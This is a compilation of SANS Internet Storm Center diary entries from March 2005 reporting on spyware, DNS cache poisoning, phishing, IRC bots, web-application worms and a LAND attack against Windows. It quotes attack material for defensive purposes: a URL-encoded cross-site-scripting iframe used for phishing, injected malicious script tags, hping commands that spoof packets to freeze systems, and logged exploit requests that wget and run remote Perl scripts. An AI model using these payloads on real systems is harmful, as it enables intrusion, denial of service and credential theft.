Lastly for now there is now a cross browser exploit for Mozilla browsers. It is written up in the register. The affected page calls a java applet which looks like it is signed with a bogus code signing cert that expired in February. If you click yes the applet launches IE and installs a bunch of spyware nasties.


As far as I can tell it does not penetrate the sandbox directly since user intervention is required, though I could be wrong. The article is here: http://www.theregister.co.uk/2005/03/11/alternative_slimeware/
This is yet another thing for users to look out for, my opinion is that we will see more if this type of cross browser exploit in the future, and that we will start to see it for malware instead of spyware.

opinion

It is beginning to look grimmer on the net. I think I am going to pickup my copy of Handler Ed Skoudis' book "Malware: Fighting Malicious code" and re-read the optimistic conclusion to brighten things up a bit.


Speaking of books, Handler Lenny Zelster's (and others) new book "Inside Network Perimeter Security (second edition) is out now. I got my copy yesterday as one of the technical editors. The authors have taken this book from really good to great! check it out.

Dan Goldberg GCFW

MADJiC Consulting, Inc.

dan at madjic dot net

Updating early and often

I plan to follow the new model of updating the diary "as it happens," today. Make sure to catch up on the weekend's events and take a look at the past two handler's entries.

NPR gets it right

When I hear news on TV or radio about a computer incident I have to wince and brace myself. This morning on NPR's All Things Considered, I was pleasantly surprised to hear a report that didn't make me want to throw the radio. The article is available .
Some of the notable quotes:

"you can't stop Identify Theft with firewalls"

"it's social engineering, not hacking"

"I will be disappointed if they apply only technology"

What I'm reading today

Over my morning OJ I'm perusing: http://www.honeynet.org/papers/bots/

AWStats exploitation on-going

WE received another report this morning from a server that was exploited via the . I did a bit of
to get a ballpark exposure assesment. Google can see nearly 451,000 installations of AWStats. About 25% of these are vulnerable. A quick breakdown across the "Big Three" Top-Level-Domains: 60% .com, 20% .org, 20%.net.

Michael Ligh has submitted an analysis of a rootkit delivered by such an exploit which is available on his

Albert Einstein's Birthday today

Albert Einstein was born on this day in 1879.

Entire web farms hacked to serve up the 7sir7 redirect

We have received reports and evidence that a number of companies that provide shared hosting web servers have had their servers exploited and all of the customer homepages modified so that visitors are attacked. In one case, a Perl script was used to modify each customers homepage with the additional IFRAME snippet that fellow handler Lorna had already reported in the diary
two days ago. The Perl script reads in the web server configuration (httpd.conf) on a compromised server, and then appends the malicious iframe code to all the index.html pages of all the virtual hosts available on this server. The same reader who managed to isolate this script has also contributed a script written by himself to clean up the affected pages. If you shout loud enough, we might include it in tomorrow's diary :-)



The page at 7sir7 is making use of several recent vulnerabilities in order to download and install malware on the PC of whoever visits the site.



- Exploits the .ANI cursor vulnerability (MS05-002)

- Exploits the HTML Help Cross Domain Vulnerability (MS05-001)



If successful, the exploits drop either of two files "mhh.exe" or "sr.exe",
both of which so far are only recognized by Kaspersky and called (not-a-virus:AdWare.ToolBar.SearchIt.h). The files have been submitted to the other AV vendors.

DNS Cache Poisoning

The second attack vector involves DNS poisoning. We are not quite sure yet how
this is being done, as the files that we've received so far "only" install the
ABX toolbar and do not seem to contain DNS/DHCP poisoning code. One submission
stated that the whole problem started when he added an ip helper-address on the
router to one of the VLANs that had infected PCs on it. The DNS server was
running W2K and Symantec Web Security, and once it was open to broadcasts from
the affected subnet, all systems that made DNS requests got redirected to 7sir7.

Dynamic DNS used to make tracking harder

When the issue was first reported (see diary of March 4), the three involved
domain names were resolving to

www.7sir7.com (217.160.169.87)

123xxl.com (217.160.169.87, 207.44.240.79, 216.127.88.131)

abx4.com (217.160.169.87, 207.44.240.79, 216.127.88.131) 

Until a few hours ago, the address being served up was "217.16.26.148" for all three domains. Thus, the parties behind this attack have quite skillfully "shifted" the target whenever an ISP started to block traffic or to shut down one of their servers. The involved DynDNS providers have been contacted in the meantime and were very responsive (thank you!!). Once the various DNS caches expire, 7sir7 and 123xxl should not resolve to the exploit site anymore...

...which is good, because during the last days, the exploit was hosted with a provider in Moscow, who answered to an inquiry with the following underwhelming statement: "If you want, you can send complaint to the court. We will act on the decision of the court."

Phishing through Cross Site Scripting

An interesting variant of phishing email was reported to us by a reader (thanks, Richard!). The parts identifying the culprit have been obfuscated in the excerpt below, but you get the drift.

h ttp://www.somebank.com/legal/do.asp?name=%3Ciframe+style%3D%22top%3A120%3B+lef

t%3A0%3B+position%3Aabsolute%3B%22+FRAMEBORDER%3D%220%22+BORDER%3D%220%22+width

%3D900+height%3D650+src%3D%22http%3A%2F%2Fwww.spoofed-ebanking.biz%22%

Replace "SomeBank.com" with the domain name of a real finance institute, and
"spoofed-ebanking.biz" with the site hosting the fake e-Banking, and you end up
with a pretty realistic looking page, where everything but the center frame
(the one asking for your PIN, of course) is real.

Yet another Botnet

A reader (thanks, Seyfert!) has reported yet another variant of RBot/SDBot/Wootbot. We've submitted a sample to the AV vendors, and are trying to get the ISP to squelch the IRC channel used by the botnet.




---------------

Daniel Wesemann (with plenty of assistance by fellow handler Patrick Nolan)

EMail: echo "ebojfm/jtdAhnbjm/dpn" | perl -pe 's/(.)/chr(ord($1)-1)/ge'

phpBB Problems Continue

Had two different reports today about an increase in attacks against phpBB. One reader reported that he's seen an increase on the order of 70 unique IPs scanning his network for phpBB exploits. Another reader sent us to <A href="http://www.zone-h.org/en/defacements/filter/filter_defacer=Garzt3/page=1/">Zone-H with an archive on attacks from Garzt3 who seems to be exploiting these servers by hand. It appears this is the same exploit we've seen before and the only thing new is the increased frequency.

Ethereal Update Released

Ethereal 0.10.10 has been released fixing several buffer overflow problems and other bug fixes. More information is available at:

http://www.ethereal.com/news/item_20050311_01.html

FTC Shuts Down Fake Anti-Spyware Vendor
http://story.news.yahoo.com/news?tmpl=story&cid=569&ncid=738&e=1&u=/nm/20050311/tc_nm/tech_spyware_dc

A US Court has ordered Spyware Assassin to suspend activities for selling what is allegedly bogus anti-spyware software. It would routinely not clean up spyware and warn users that there was spyware when there wasn't in attempts to drum up sales. As the spyware threat is not something that is known well enough, these kind of things will keep happening. Spyware is where it is at right now. It allows attackers to either control a large number of machines quickly, or make money for their efforts by spamming, selling marketing information, or outright identity theft. User education and better tools are needed to combat this threat.

John Bambenek

for Dave Brookshire

bambenek /at/ gmail -dot- com

Whew, today has been a busy day for everyone out there so it seems. Emails have been pouring in at a steady pace today. First off, we handlers would like to say thanks because we couldn't do it without everyone's help! Sometimes it gets very busy and its hard to respond to each individual email. If you don't get a response to your email, please know that they are all read and very much appreciated. With that said, the above title pretty much sums up this very busy day. Before you continue reading, grab the drink of your choice and relax, this one may take you a while:>)

Malicious Script

In our diary on 4 March, Kyle discussed DNS cache poisoning that was re-directing systems to malicious websites. It appears that these same sites have been embedded as a malicious script on the bottom of some websites. DO NOT CLICK ON THE LINKS. For what ever reason, the sites are still online. The format appears as follows:



<script>window.open("http://www.123xxl.com");</script>

<iframe src="http://www.7sir7.com/abx2.html" frameborder=0 width=0 height=0 marginwidth=0 marginheight=0 scrolling=no></iframe>



If anyone else is seeing this, please let us know.
For more information see the following previous diaries:


http://isc.sans.org/diary.php?date=2005-03-04

http://isc.sans.org/diary.php?date=2005-03-07

Phish, Bots and What-Nots

We received several emails over the past 24 hours, with each reporting a different phishing attempt. Most were the standard "Your account will be suspended" or "Someone may have hijacked your account". Many times we have been asked what to do for phishing attempts. Here is what I do when we get a phishing attempt reported. This is something that anyone can do:



1. Look in the email for where the site is "really" going to. You may have to view the source code to do this. You can also sometimes put the cursor over the URL and look at the bottom of the browser for the real site. You can also hightlight the URL and then create a shortcut to it and view the properties of that shortcut. Whatever it takes to find where it is really wanting you to go to.



2. I then use MasterSnoooper ( http://willmaster.com/master/snooper/ ) to view the source code of the phishing site and validate that it is an active site. Just paste the URL in and let it do the work. I also look around at the source code to see if they are trying to do any other malicious activities while they have you there.



3. Next, you need to find the ISP who is in control of that IP address and get their contact email. You can do this through any lookup, I usually use www.arin.net.



4. Lastly and most important, send a copy of the phishing attempt to the ISP letting them know they have a phishing site being hosted on one of their IP addresses. I also cc the site that the phishing attempt was done against. You can get this off of their "real" website. I also include antiphishing.org (reportphishing@antiphishing.org) and the FTC (spam@uce.gov)


Yes I saved the best for last, Bots! Bot activity seems to be really picking up these days. A thanks to Ken Connelly and Kevin Gennuso who both provided us information and samples for what they have been dealing with. Each of them were dealing with a different piece of malware.



Ken's new friend was connecting to an IRC server that has been shut down. After doing a little reverse engineering on it, it was very evident that there wasn't much capabilities they had thought of to throw in this one. I submitted it to several of the antivirus vendors and the majority of them did not currently detect it. F-Secure identified it as Backdoor.Win32.Rbot.gen. Hopefully more updates will follow from the others. Here is a quick over view of this one from Norman's Sandbox:



[ Network services ]

* Looks for an Internet connection.

* Connects to "team-private.cjb.net" on port 6667 (TCP).

* Connects to IRC server.

* IRC: Uses nickname G0V|80340.

* IRC: Uses username ezkieya.

* IRC: Joins channel #UnderGround.

* IRC: Sets the usermode for user G0V|80340 to +x.




Kevin's bot connected to an IRC server, scanned for SQL boxes and attempted to download spyware. He wrote a very nice analysis up for us of his observations. I haven't gotten a chance to play with that one yet, but here is a quick synopis from Kevin of things he saw in his packet capture:


#179: SYN/ACK - bot connects to IRC server for the first time (several tries before that)

#181: bot joins IRC channel for first time

#229: bot gets confirmation that it joined (name of IRC server is listed as irc.CyberCrime2.gov - idiots)

#237: bot receives command to scan for SQL boxes (that's my guess anyway): +a dvscan mssql 40 3 300 -b -r -s

#239: bot begins scanning my network like CRAZY!

#1221: bot gets command to install spyware (a bunch of URLs preceded by the command +open)


Now, if you made it this far, thanks for hanging with me on this. Initial analysis confirms that you are indeed a true die hard geek! Relax and have a great weekend.


Lorna Hutcheson

Handler on Duty

http://www.iss-md.com

03/09 - ISC/SANS Webcast Update

In follow-up to Wednesday's Webcast our respected and fearless leader Johannes, has asked me to post the following links for your review. As a good little "volunteer worker bee", I comply. And so here are the links.


http://www.modsecurity.org

http://www.phpsec.org/

http://www.owasp.org

http://www.sans.org/rr/whitepapers/webservers/

http://www.cgisecurity.org/



Possible Adware/Spyware Infection Via Worm



The Handlers recieved an email today from one of our faithful followers. It was of great interest to me because what Karl and his network people (at an "EDU") are seeing is very similar to what I have been seeing (at an "EDU") as well. I am not sure if it is only the EDU folks seeing this or if we are the only ones that are talking about it. Anyway - here is an excerpt from his email. (Thanks Karl for giving your permission for me to share this with our readers).
*****************************************************
Excerpt from Karl's email:
We apparently have a worm on our network that downloads a bunch of adware
and spyware on our computers immediately after infecting them. The worm
seems to be controlled from the site dust.page.us. We have blocked
communications to this site through the firewall and the list of
computers infected with it does not seem to be growing since we blocked the site.
The worm seems to spread through a Windows RPC buffer overflow vulnerability.
Once it executes the buffer overflow, it downloads a file called dust.zip
from dust.page.us. It is infecting workstations with WinXP SP1.
******************************************************
If there is anyone else that is seeing this I would be really interested in hearing about it. I would like to know if anyone outside of the Educational world is experiencing similar infections. If you can (will) share your story I would really like to hear about it.


The Pain of Dealing With IRCBot's



This has definitely been a stressful day for me. I have been following the trail of an IRCBot. It appears at this point that the entry point or "Open Backdoor" was an installation of Wild Tangent Game Control on one of the machines in a "large" network. This particular situation was tracked down by examining Sonicwall Log files and studying the traffic going to and fro. It was unusual ICMP traffic that first caught my attention. I could see that we had some computers connecting to an IP address that led to a website that says it is in Harrisburg PA. The website "screams rookie". It is by far the most unsophisticated that I have seen in a long time. It was extremely obvious that this was not a website that had anything to offer computers in our network. We could not figure out where the computer on the inside of our network was located (not a name that we recognized) so we disabled the internal IP address in and out. We hoped that this would prompt a call from our remote location saying something was wrong with a computer. Sure enough it did. We were able to locate the device and take a look at what was going on. This little fellow had a live IRCBot connection - Wild Tangent Game Control and some music downloader junk on it. We cleaned up the mess, removed all of the unauthorized programs, installed the anti-virus program and sat back and watched the fun. Didn't take long after we brought the computer back online that we started seeing other machines trying to connect. This trail lead us to an additional 6 computers within the facility that were attempting to connect. All 6 machines were taken off-line and are being analyzed to determine what is installed that is trying to "call home".

I find it interesting and intriquing to see how quickly these little fellows populate and infect a network. I am also amazed at how sneaky these things can be. If only the creators of these little worms, parasites and viruses would use their creative spirits for good instead of evil think about what a wonderful Internet we could create.

Oh what a wonderful dream that is. Until then, I and my fellow Handlers will continue to fight the good fight and keep you informed.



For more valuable information about what you can do to protect your network check out the resources at SANS Institute. For lots of valuable information look at SANS Computer Security Newsletters and Digests. Enjoy.
http://www.sans.org/newsletters/



I now turn the Net over to the only other female Handler. Lorna - It is all yours. Have a goodnight and keep the net safe.



Deb Hale

Handler On Duty

haled@pionet.net

You never know...

Sometimes you never quite know when something "little" will turn into something "big." We got an email earlier today from George (thanks again, George!) forwarding along a phishing "bait" email, asking customers of a certain online service to update their account info. Following the trail back lead us to a rather nicely done site, complete with the requisite "we need your credit card info" form.



A little research showed that the machine was likely compromised, and a little more research showed that the machine is actually a rather sensitive server. A few emails and a couple of phone calls and we've applied one more whack in the on-going game of whack-a-mole that we like to play with the phisherpholk. While the owners of the server weren't particularly happy that it got doinked, they're mighty happy that they were notified.



Here in ISC-land, we get many an email thanking us for the stuff we do. While we sincerely appreciate the kindness of those messages, we also know that the very first link in the chain that makes this site run is the people who care enough to take the time to not just hit the delete key when they see something like this going on. So, from all of us here, "thank you"... to George and all of the rest of you.



As for the pholks running the phishing scams... what sort of Dante-esqe "punishment-fitting-the-crime"-level-of-hell can we dream up for them?

Exploit for MS04-038 - CSS File Buffer Overflow

We've seen a recently released exploit for a buffer overflow in CSS parsing code under versions of IE (6.0 SP1 and earlier) that was patched in October of '04 in MS04-038. More information on the vulnerability can be found at:



http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-0842



(Ah... Nate wrote in to point out that the MS04-038 patch has been superceded by other patches, specifically MS05-008 and MS05-014. Thanks Nate!)



Even though we haven't been able to verify that the exploit works (grumble... I'm doing SOMETHING wrong...) we would recommend that if you're aren't currently patched... get patched.



---------------------------------------------------------------------

Handler on Duty: Tom Liston -

Scans for Computer Associate's License Manager Vulnerability

Yesterday, we received a report from Ken about the significant traffic increase on TCP port 10202 and 10203. For the ISC port graphs, click and
.



These scans are likely due to the public release of respective exploit code, which was released to the public on Monday in a posting to the VulnWatch mailing list.
Note that the scans for the respective ports increased significantly as early as Thursday March 3rd. You can access a summary of early scanners for this port here:
http://isc.sans.org/10203 .
For an archived copy of the VulnWatch mailing list post, click see http://archives.neohapsis.com/archives/vulnwatch/2005-q1/0078.html .

MSFT Update #1: MS05-002 (Windows 98)

We received reports today from two of our readers, Juha-Matti and Erik, that Microsoft has finally released patches for Windows 98, Windows 98SE and Windows ME. For more information, see the Microsoft


This set of patches fixes two vulnerabilities:

CAN-2004-1049: LoadImage API Buffer Overflow / Cursor and Icon Format Handling Vulnerability

This vulnerability allows the execution of arbitrary code using crafted .bmp, .cur, .ani and .ico images. This vulnerability is severe and the patch should be applied ASAP.

CAN-2004-1305: Cursor and Icon DDOS Kernel Vulnerability.

This is an "extension" to the prior issue that would render a system unresponsive using malformed images (.bmp, .ico, .cur, .ani).

MSFT Update #2: MS05-015 (Windows 98/ME)

MS05-015 was updated as well to include information regarding Windows 98 and ME. Thanks to Jaakko and Juha-Matti our two top Finish readers for pointing that out ;-).

Note that Windows 9x is no longer officially supported by Microsoft. Patches like this will be released occassionally, but will tend to be delayed compared to patches for Windows XP. Users of Windows 9x should upgrade to XP.

MSFT Update #3: Updated Malicious Software Removal Tool

And a third Microsoft update on a Tuesday without official updates. The Microsoft malicious software removal tool is distributed via Windows Update like patches. Its function is to identify and remove commonly found malicious code. Note that this tool is just detecting highly popular malware and no replacement for an Anti-Virus scanner. Tyler, who pointed out the update also noted that the tools log file can be found in %windir%\debug\mrt.log. For more details see:
http://support.microsoft.com/?id=890830 .

LAND Attack

We are receiving various results from people testing the LAND attack against various versions of Windows with mixed results. A small correction and addition to yesterday's diary:

* you need to add the '--keep' parameter to the hping command. Otherwise, the source port will be incremented with each packet send.

* the attack will only work against listening ports.

Summary of what we found so far:

Windows XP appears to be vulnerable only if SP-2 is installed.

Windows 2003 is vulnerable.

On systems with multiple CPUs, only one CPU will be 'maxed out'. These systems remain responsive (but will be slower)

Hyperthreading systems (newer Pentium IVs) behave like dual CPU systems in that the total load reaches 50%.
.
An OpenBSD program was released as well to just launch this particular attack.

hping command line:

hping -V -c 100 -d 40 -S -p 139 -s 139 -k -a 10.1.0.102 10.1.0.102

I do recommend that you make sure that the port is listening and not firewalled. You can do this with this hping command:

hping -S -p 139 10.1.0.102

expected output if the port is open:

len=44 ip=10.1.0.102 ttl=128 DF id=15782 sport=139 flags=SA seq=0 win=64320 rtt=3.9 ms

Defending against a LAND attack isn't all that hard. Proper ingress filtering should prevent spoofed traffic from entering your network in the first place. Any personal firewall will block the attack, and turning off unneeded services will reduce the number of ports that will expose you to the attack.

If you run the test, please let us know and include:

* target OS version and patch level?

* what language version of Windows are you using?

* target port used (and was it open/closed)?

What is a 'LAND Attack'

Just a quick refresher for everyone:

The basic idea is to send a packet to a system where the source IP is set to match the systems IP. The SYN flag has to be set. So the packet will arrive with source ip = target ip. As a result, the system will attempt to reply to itself, causing a lock up of the system.

The earliest mention of this attack I found was from 1997 against Windows, Sun OS, BSD and Macs. All these systems share a BSD based TCP/IP stack.

Reminder: Diary reuse

After correcting the 'hping' options, we where contacted by subscribers to commericial vulnerabilty alerts. They noted that their for-pay service for some reason used the same (slightly wrong) hping command line as the one we posted yesterday.

We do not mind inclusion of diary excerpts in publications available to the public for free, as long as proper credit is given. We do however not allow the resale of diary excerpts as part of a commericial service without explicit written permission. For any questions, contact us at http://isc.sans.org/contact.php .

Quick DNS poisoning update

We got one report where a DNS server responded with 'poisoned results' and flushing the cache didn't correct the problem is usually the result of a DNS server compromise beyond a simple cache poisoning. If you observed a similar issue, please let us know.

In the meantime, Symantec released a hotfix for the DNS cache poisoning issue.
See and the related .

A few non-Symantec users reported similar issues, so this is not limited to Symantec.

If you got infected by the ABX toolbar, here are some removal instructions provided by a reader:

-----------

Run Regedit and search for "abx" (do not include quotes).
Remove all references containing "abx" from the registry.
There are at least two Keys in the registry that contain several
Values related to this spyware. On my test workstation, one of them
was: HKCU\software\xbtb01186\toolbar.
I am not sure, but the "xbtb01186" may be a randomly generated Key,
but within that Key will be several Values with "abx" references.
Remove the entire Key starting at "xbtb01186".
You will need to delete two files in the "Download Program Files"
directory under your Windows directory. In Windows XP they will be
under c:\windows\Download Program Files. In NT they will be under
c:\winnt\Download Program Files. The file names are:

abx_search.dll

abx_search.inf
The "Download Program Files" directory stores the ActiveX Cache used
when starting up Internet Explorer. This directory may be hidden, so
make sure your Explorer settings allow you to view hidden files.

-------------

SSH Brute forcing

Brian send us a log of a ssh brute force attack. The attack was launched from multiple sources and appears coordinated. The sources hit the target at the same time, and used different sets of usersnames. Overall, more then a 100 usernames where used and each one was used 4 times (suggesting 4 different passwords). The attack lasted about 20 minutes.

IM Malware

Yesterday's IM malware is now identified by Symantec as 'W32.Kelvir.B'
(thanks Geoffrey).

Brazilian Honeynet Statistics Page

The brazilian honeynet project made a nice statistics page public which show a summary of traffic received by the honeynet. For details, see:
http://www.honeypots-alliance.org.br/stats/flows/all/
-------

Johannes Ullrich, jullrich@sans.org

CTO SANS Internet Storm Center

New LAND Attack on Windows XP and 2003 Server. A late yesterday suggested that a single crafted packet could cause Windows XP SP2 and Windows 2003 Server to become unstable. Our initial tests show that Windows XP Professional seems to be vulnerable, but Windows XP Home Edition is not. We have not been able to test a Windows 2003 Server yet, and are interested in any results that others may have. Any host-based firewall on the target must be turned off to verify the attack.



To test the vulnerability, use a packet crafting tool such as hping to send a single forged packet at a target system. Set the source IP and port to be the same as the target's IP and port, and set the SYN bit. Using hping2 the command would be



hping -V -c 100 -d 40 -S -s 110 -p 110 -a 192.168.1.2 192.168.1.2



hping2 <options> target

-V for verbose

-c # of packets

-d bytes of data

-S SYN

-s source port

-p destination port

-a spoof address



(Handler Dan Goldberg contributed to these tests, thanks Dan!)



According to the posting on Bugtraq, Microsoft has been notified about this potential vulnerability. If you do run the tests, please tell us what tool you used to craft the packets, the command you used, the target operating system with SP level, and the results. We'll publish a summary in tomorrow's diary.



UPDATE, 7 MAR 05 1715 GMT. After receiving several postings from readers, we have learned that the hping command above needs a bit of tweaking. To verify this vulnerability, you have to send the packets at a listening port, and you have to keep the source port constant. Verify the target computer is listening on a port by running netstat or tcpview, then choose an open (listening) port for the test. Also, include the "-k" (keep) option in the hping command:


hping -V -k -c 100 -d 40 -S -s 110 -p 110 -a 192.168.1.2 192.168.1.2


(assumes that tcp/110 is listening)



Instant Messenger Malware. We received several reports today of a piece of malware that circulates via Instant Messenger programs. The malware appears as a message from another person with a teaser such as "hot pic!!" or "OMG look at this!!!" Following that line is a URL pointing to a PIF file such as



parishilton.pif

cute.pif



These files are detected by some anti-virus engines as



Backdoor.Win32.IRCBot.y

IM-Worm.Win32.Kelvir.a

Win32/Bropia.Variant!Worm



If a user clicks the link (executes the .pif) then the infected machine will send copies of the link to the user's IM buddies, and could cause additional damage to the user's computer. Removal instructions are available on several AV vendor's web sites.





Marcus H. Sachs

Handler of the Day

Pharming and Phishing Attack

, we reported a case of DNS cache poisoning attack. Thanks to all those who have responded and provided us the information. Most of the affected sites should be cleaned up by now. If you continue to detect any suspicious sites, do drop us a note.



This reminds me of the pharming attack which is DNS cache poisoning or spoofing. Most of us, if not all, should be familiar with phishing attack. It has now been fairly recognizable as it attempts to trick you to click on an email link and directs you to a malicious site to get you to disclose your personal information. In fact, the new vector of phishing attack does not even require you to enter your personal information. It usually makes use of concealed malicious code on the spoofed websites to gather information about you without your knowledge.



Pharming attack on the other hand does not require you to click on an email link. You could enter the legitimate URL of the site but when the URL is resolved to the IP address, you will be directed to a bogus website. If the bogus website mirrors the exact page as the legitimate website, you may not even be aware of the attack.



The case of yesterday reported just happened to be resolved to another different site that the attack is being discovered.



If combining phishing and pharming techniques, you could be tricked to visit a spoofed website with legitimate URL and hand over your personal information unknowingly.



One possible way to counter such attack is to provide certificate for authentication. For critical website, it will be good to implement extra measure to authenticate the identity of the website.

Mailbag

One of our reader (David) notified us that one small website was defaced with the index file replaced with a simple text "Simiens - Legalize Ja Legalize Ja nossa erva". A google search shows that there are several sites (177 sites) being defaced with the same text as well. At this point of time, the cause of attack is not known. Could it even be an automated attack? If you have any information on this, let us know.



Thanks to our readers (Dominick, Jesse, Altieres, Jaakko) who pointed out the Simiens group which seems to be pretty busy these few days as seen in and mirror sites.

We are currently investigating a report from several sites that indicate users being re-directed to malware sites. At this time it appears to be a DNS cache poisoning attack (not a spyware, adware, or browser hijack) and we are seeking more information.


Popular domain names such as google.com, ebay.com, and weather.com are being directed to the following servers. Of course when connecting to these servers, "bad things" (tm) will happen, so don't go to them.


www.7sir7.com (217.160.169.87)

123xxl.com (217.160.169.87, 207.44.240.79, 216.127.88.131)

abx4.com (217.160.169.87, 207.44.240.79, 216.127.88.131)


If your site has been affected, please submit the following information:

1. When the attack was first noticed and whether it is still occurring.

2. What DNS server software you having facing the Internet. This information will be kept in strictest confidence.

3. If you identified any other sites that users were being re-directed to (besides the ones listed above).


Updates will be made to this diary as we find out more information.

Update at 23:40 UTC

There appear to be two issues at hand. The first is the DNS cache poisoning. At this time, it appears to be affecting Symantec firewalls with DNS caching. If you recall, there was a vulnerability back in July that made these products very succeptable to DNS cache poisoning. Some victims have responded that they applied the patch, but were still affected. So this could be a different vulnerability or the patch didn't work properly. Maybe someone at Symantec could enlighten us?


http://securityresponse.symantec.com/avcenter/security/Content/2004.06.21.html

The second issue is the ABX toolbar spyware that gets loaded onto the machine when visiting the target servers. This appears to happen using an ActiveX control. Users running Windows XP SP2 or a web browser that does not support ActiveX will probably not get hit with the spyware if they visit the server.


Unfortunately, information on the ABX toolbar spyware is very limited at this time and it doesn't seem to be detected yet by the normal toolset of spyware/antivirus tools.


In the meantime, we have been working to get the IP addresses and DNS servers supporting this attack shutdown. Some of the IP addresses are already blackholed.


[eof]

Phpworm and Awstats yet...




After all this time, the phpworm is already something common to see...as part to the code is distributed in various websites, new variants are coming everyday.

The common behavior of these variants are basically the same:

-googling for specific strings to find potential vulnerable sites,

-exploring them,

-malicious actions (warez, defacements, remote control...)

As the awstat vulnerability (and exploits) became public, the traditional behavior is there again: Include the exploit into the bot knowledge base.
Some days ago we received, from a reader, one example of a bot that was already exploring that vulnerability:



sub site {

my($s) = @_;

$s =~ s/\s//g;

if($s =~ /awstats.pl/){

$s =~ s/http\:\/\///g;

$s =~ s/awstats\.pl.*/awstats.pl/;

$s = 'http://'.$s;

return($s);

}




Same old behavior. That one was also write in perl, as the phpworm, and will look for vulnerable site.

We were seeing brazilian hacker groups actively using these, and registering sites in Brazil to use as primary point-of-contact for the bots.

The guys at NBSO-NIC are doing a good job on hunting and canceling them in a few hours.Way to go guys!


By the way, if you had a machine compromised by one of those, and could identify the IRC server that is serving as the botnet, drop us a line!




Bright Tuesday!




"On March 8th, 2005 the Microsoft Security Response Center is planning to release no new security bulletins."




Do you believe in those words?! So, start to believe, it was posted as part of Microsoft Security Bulletin Advance Notification strategy!
Reference: (Thanks Daniel!) http://www.microsoft.com/technet/security/bulletin/advance.mspx





Last diary personal poll




First of all, thanks for all the emails with answers to my personal poll about bandwidth.

While most of us are still living with 512/1mb adsl, some countries are offering 8mb and 16mb adsl for a reasonable price.

Thanks to our readers in Japan and Korea, I am aware now that they can easily have 100mb(!!) due to the FTH (Fiber to home) technology. Some users in US also pointed that Verizon was planning something similar.

I also received some emails from people comparing CD and DVD, with the point that you can not stop the progress. I completely agree! As more bandwidth is coming to the Joe´s home computer, more powerful security technologies must emerge too. We must think also about the mobile technology. With 4G (Fourth Generation Mobile) in a few years will be possible to have a server-equivalent bandwidth in your hands...
Scaring?:)



-----------------------------------------------------------

Handler on Duty: Pedro Bueno ( pbueno/AT/isc.sans.org )

Skype

Paul wrote about his firewall dropping a "huge amount" of packets after
Skype was installed on a host behind the firewall. He suspected a backdoored
version. Skype, a very popular Voice over IP (VoIP) application, does show
this behavior as a result of its normal operation. As explained here
http://www.skype.com/products/explained.html , Skype is a Peer to Peer
application very much like Napster and others. In order to relay the voice data,
it establishes connections with numerous peers, and will relay traffic for these
peers even if you are not "on the phone".

phpBB worms (and awstat exploits)

We continue to receive reports about various phpBB worms. The worms attack
various vulnerabilities, some of them are older. More recent worms will just
check random URLs, not limiting themselves to well known phpBB pages like 'viewfiles'.

awstats, another web application with vulnerabilities released recently, is another favorite.

Here a quick 'grep' result from our own ISC web server:

I am using this line of shell code to extract requests of interest:

cut -d'"' -f2 < access_log | cut -f2 -d' ' | grep ';'

Some highlights:

/cgi-bin/awstats.pl?configdir=|echo%20;echo%20;id;echo%20;echo|



/diary.php?date=2004-12-25&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F

%3B%20cd%20/var/tmp;wget%20www.panahi.com/frame3.txt;

wget%20www.panahi.com/frame2.txt;perl%20frame3.txt;rm%20frame3.txt;

perl%20frame2.txt;rm%20frame2.txt%3B%20%65%63%68%6F%20%5F%45%4E%44%5F

&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45

%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';



/diary.php?date=2004-12-25&rush=echo%20_START_%3B%20cd%20/var/tmp;

wget%20www.panahi.com/frame3.txt;wget%20www.panahi.com/frame2.txt;

perl%20frame3.txt;rm%20frame3.txt;perl%20frame2.txt;rm%20frame2.txt%3B

%20echo%20_END_&highlight=%2527.passthru(%24HTTP_GET_VARS%5Brush%5D).%2527';

adding a quick 'sort -u | wc -l ' to the grep above suggests 45
unique attempts. Note that some of the URL hit look like they where
extracted from links found on other sites, and modified to insert
the exploit.

COAST

In a past diary, we published excerpts from an offer made by a Spyware/Adware
company. This letter was directed to a game software developer and included
a note that the Adware maker has hopes of obtaining a "COAST Certification".
COAST was originally founded as an anti Spy/Adware organization, but has
come under some scrutiny recently, as reader Robert pointed out. As usual,
buywer beware. Flashy "seals" may not only be just outright fake, but in
some cases you have to look deeper to figure out what they are actually
worth

ISTS News

A couple alert readers noticed that the ISTS news are missing. ISTS changed
its format, and the news will be back as soon as the new parser is working.

----------

Johannes Ullrich jullrich_ATT_sans.org,

CTO SANS Internet Storm Center

------------

http://johannes.homepc.org/blog

Several Beagle-Related Malware Variants on the Loose

[Updated 12:46 EST to point to Kaspersky's blog and 15:44 EST to mention the CME initiative.]

We received reports of several malware specimens that anti-virus vendors have begun identifying as Beagle/Bagle worm variants or related file droppers. The short version of the story is that there are several Beagle/Bagle-related specimens on the loose today. Some of them are not currently detected by anti-virus engines. Please keep an eye on this threat as it develops, and update your signatures as soon as your anti-virus vendor updates them.



This quick note describes one of these variants, which Mike Spangler submitted to us yesterday at Feb 28 9:21 PM EST 2005. We received several other reports of this specimen in the subsequent hours. The victim received this specimen as an email attachment named newprice.zip (MD5 sum 9a85bac91432d50d8196a6e74b1a9784). The e-mail had no subject line, and only had the word "price" in its body. The attached Zip archive contained a file named doc_01.exe in a subdirectory "Loader". Although we could not find traditional anti-virus engines that would identify this specimen last night, we were able to scan it using Norman's on-line SandBox scanning service at . The scan's results suggested that doc_01.exe was a file dropper, designed to download an executable named zo2.jpg from a remote site. The executable, downloaded executable, not available at the time, would be saved locally as "C:\WINDOWS\_re_file.exe".



F-Secure seems to detect this specimen as Email-Worm.Win32.Bagle.bb, and says that this file is being dropped by Bagle.be:

F-Secure Bagle.bb: http://www.f-secure.com/v-descs/bagle_bb.shtml

F-Secure Bagle.be: http://www.f-secure.com/v-descs/bagle_be.shtml

F-Secure blog comment: http://www.f-secure.com/weblog/#00000487



Symantec seems to refer to this specimen as Trojan.Tooso.B. According to Symantec, this specimen "is being emailed out by copies of W32.Beagle.BG@mm and W32.Beagle.BH@mm":

Symantec Tosco.B: http://www.sarc.com/avcenter/venc/data/trojan.tooso.c.html

Symantec Beagle.BG@mm: http://securityresponse.symantec.com/avcenter/venc/data/w32.beagle.bg@mm.html

Symantec Beagle.BH@mm: http://securityresponse.symantec.com/avcenter/venc/data/w32.beagle.bh@mm.html



